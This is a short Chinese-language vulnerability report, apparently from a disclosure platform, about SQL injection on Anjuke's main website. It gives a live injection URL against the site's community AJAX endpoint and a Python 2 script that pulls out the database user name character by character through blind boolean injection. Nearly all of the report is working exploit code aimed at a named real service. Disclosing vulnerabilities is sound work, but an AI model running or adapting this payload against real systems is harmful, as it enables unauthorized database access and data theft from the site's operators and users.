安居客主站MySQL注射(附验证脚本)

http://www.anjuke.com/ajax/communityext/?commid=-1' or 1=1 AND length(user())!=23 -- &filterCommId=1551&interestLimit=5&r=0.9881029322277755

#encoding=utf-8
 import httplib
 import time
 import string
 import sys
 import random
 import urllib
 
 
 headers = {}
 payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
 
 print 'Start to retrive MySQL User:/n'
 user = ''
 for i in range(1,24,1):
     for payload in payloads:
         conn = httplib.HTTPConnection('www.anjuke.com', timeout=60)
         conn.request(method='GET',
                      url = "/ajax/communityext/?commid=-1' or 1=1 AND ascii(mid(user()from(%s)for(1)))=%s -- &filterCommId=1551&interestLimit=5&r=0.9881029322277755" % (i, ord(payload)),
                      headers=headers)
         html_doc = conn.getresponse().read()
         conn.close()
         if html_doc.find(u'{"comm_style"') < 0:
             user += payload
             sys.stdout.write('/r[Scan in progress]' + user)
             sys.stdout.flush()
             break
         else:
             print '.',
 
 print '/n[Done]MySQL user is ' + user